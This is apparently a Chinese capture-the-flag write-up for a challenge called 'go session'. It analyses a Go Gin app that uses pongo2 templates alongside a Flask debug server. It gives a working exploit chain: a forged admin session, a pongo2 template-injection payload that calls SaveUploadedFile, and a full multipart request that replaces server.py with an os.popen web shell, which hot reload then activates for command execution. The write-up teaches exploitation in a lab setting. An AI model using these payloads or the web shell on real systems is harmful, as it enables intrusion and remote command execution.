国赛初赛有一道题目go session,用go的Gin框架和pongo2模板引擎写的,是关于go的pongo2模板注入和flask的热加载,当时看着一脸懵逼,现在再看突然豁然开朗。
主目录:
main.go
package main
import (
"github.com/gin-gonic/gin"
"main/route"
)
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}
main.go主要是引入route文件里面的内容,并且设置路由
route.go
package route
import (
"github.com/flosch/pongo2/v6"
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"html"
"io"
"net/http"
"os"
)
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
这是一个路由文件,使用了Gin框架和pongo2的模板引擎
主要定义了三个路由函数,接下来逐步分析
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
Index函数用于处理根路径下的请求,它的参数是一个指向gin.Context的指针,而gin.Context是Gin框架中的一种上下文对象类型。它是一个包含了当前http请求和响应的信息、操作方法和属性的结构体,用于在处理http请求时传递和操作这些信息。同时gin.Context还提供了一系列的方法用于处理这些信息,这个将是我们后面利用的重点。
函数首先会获取名为 session-name 的cookie会话,然后判断会话中的name值是否为空,如果为空,就会将name的值设置为guest,然后将会话保存到请求中,最后使用String方法返回一个状态码和一个字符串。
当我们直接访问时就会出现下面的页面
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
Admin函数用于处理 /admin 下的请求,首先会获取会话,然后判断name字段的值是不是admin,如果不是就立即返回No,所以这里要进行session-name构造,使name字段的值为admin,然后进行下一步的操作,接着就是获取url请求中name字段的值,默认值是ssti,接着用EscapeString函数进行转义,防止XSS攻击,然后使用pongo2的模板引擎将字符串"Hello"和转义后的name字段值作为模板内容写入模板中,然后就是执行模板,将执行的结果存储在out中,最后返回out。
直接访问就会出现下面的页面
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
Flask函数用于处理 /flask 函数下的请求,首先获取会话,然后判断name字段是否为空,如果不为空则获取url中name字段的值,并将其与本地地址拼接,发送一个GET请求。请求结束后关闭响应体,然后读取响应题的内容,将其转换为字符串返回。
当我们直接访问 /flask 目录并设置参数 name=1 时会出现以下页面
显示并没有找到资源,如果我们对参数进行一波Fuzz的话就会发现有报错页面出现
我们把报错信息复制下来然后保存为html文件,然后分析报错信息我们可以找到server.py的文件源码
from flask import *
app = Flask(__name__)
@app.route('/')
def index():
name = request.args['name']
return name + " no ssti"
if __name__== "__main__":
app.run(host="0.0.0.0",port=5000,debug=True)
看这个源码,很显然在5000端口搭建的是一个flask的程序,而且更重要的是,这个程序设置了debug=True,说明程序开启了热加载功能,代码在更改后会自动重新加载程序,这意味着我们对代码进行更改后就会立即生效
上面的报错信息虽然爆出了源码,但让我百思不得其解的是,这个报错信息说的是我的参数中没有包含 name 键,我直接???,不是,我访问的url就是 /flask?name=,虽然我这name没设置键值,但也不能说我参数中没name键吧,难道?有鬼?
本孩子打小就不信邪,所以在我反复拿着源码研读的时候终于发现了问题所在:
/flask路径下的处理逻辑是这样的
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
这个通过参数拼接访问本地5000端口上的flask程序,问题就出在拼接上,c.DefaultQuery()获取的是url请求中name参数的值直接拼接上去,如果我传入的name的值为空的话,c.DefaultQuery()就是空,那就相当于直接访问http://127.0.0.1:5000/
,而再去查看刚才报错发现的源码server.py
@app.route('/')
def index():
name = request.args['name']
return name + " no ssti"
这个文件在根路径会获取参数name值并返回,我之前没传入name值,怪不得会报错。
原来,这个世界上没有鬼,只有我这个菜鸡!(哭哭)
刚开始拉代码的时候没拉下来,建议换一下代理,设置以下GoProxy
go env -w GOPROXY=https://goproxy.io,direct
将Index函数改成:
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
session.Values["name"] = "admin"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
message := fmt.Sprintf("Hello, %s", session.Values["name"])
c.String(200, message)
}
这样当我们在访问根目录时就会获取到name值为admin的session-name了,然后我们就可以带着这个session-name访问/admin路径进行ssti注入了,常见的方式是直接注入读取文件找到flag,但是gin.Context对象本身并没有直接读取文件的方法,因为读取文件一般是服务端的操作,跟请求处理无关,但这样也表明它可以读取请求中包含的文件,也就是上传文件,而且gin.Context对象有处理文件上传的方法。
SaveUploadedFile方法用于保存上传的文件到指定的路径,这样我们就可以任意上传文件,然后将server.py替换执行任意内容。
所以我们的payload的url参数应该是这样的
{{c.SaveUploadedFile(c.FormFile("file"),"/app/server.py")}}
但是因为参数经过 html.EscapeString(name) 转义,会将双引号转义掉,所以要换一种方式,对于"file",gin.Context还提供了另一种方法,HandlerName() 方法,用于返回主处理程序的名称,这里返回的就是admin/route.Admin,然后可以用过滤器last获取最后一个字符串。对于 “/app/server.py”,可以在请求头中将Referer字段设置成 “/app/server.py”,然后用 Request.Referer()方法获取Referer的值
所以payload就是这样的
{{c.SaveUploadedFile(c.FormFile(c.HandlerName(),c.Request.Referer()))}}
但是在数据包中添加请求头时还要添加 Content-Type 头
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
对于添加这个头的解释是
对表单提交,浏览器会自动设置合适的 Content-Type 请求,同时
生成一个唯一的边界字符串,并在请求体中使用这个边界字符串将不
的表单字段和文件进行分隔。如果表单中包含文件上传的功能,需要
使用 multipart/form-data 类型的请求体格式。
整体的数据包是这样的
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1
Host: node1.anna.nssctf.cn:28421
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36 Edg/115.0.1901.203
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: session-name=MTY5MTk5NTYxNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwAose6mBW42KwvBV0MfmwHk6ygJ3VCQ6Fh1BYVHxqahA==
Referer: /app/server.py
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND
Connection: close
Content-Length: 427
------WebKitFormBoundary8ALIn5Z2C3VlBqND
Content-Disposition: form-data; name="n"; filename="1.py"
Content-Type: text/plain
from flask import *
import os
app = Flask(__name__)
@app.route('/')
def index():
name = request.args['name']
file=os.popen(name).read()
return file
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000, debug=True)
------WebKitFormBoundary8ALIn5Z2C3VlBqND--
这个上传的文件也很简单,接收一个名为 name 的参数,并使用 os.popen() 执行该参数作为命令,并返回执行结果
然后访问 /flask?name=?name=env,找到Flag
这里再解释一下为什么是
/flask?name=?name=env
而不是
/flask?name=env
还是上面说的那个原因,写成name=?name=env,拼接出来的url是
http://127.0.0.1:5000/?name=env
这样就可以接收到参数name并执行命令了
但写成name=env,拼接出来的url就是
http://127.0.0.1:5000/env
这样没有传入参数name,后端接收不到name参数就什么也执行不了了
菜鸡,真菜鸡!不跟你们这一群人卷了,回家种地了!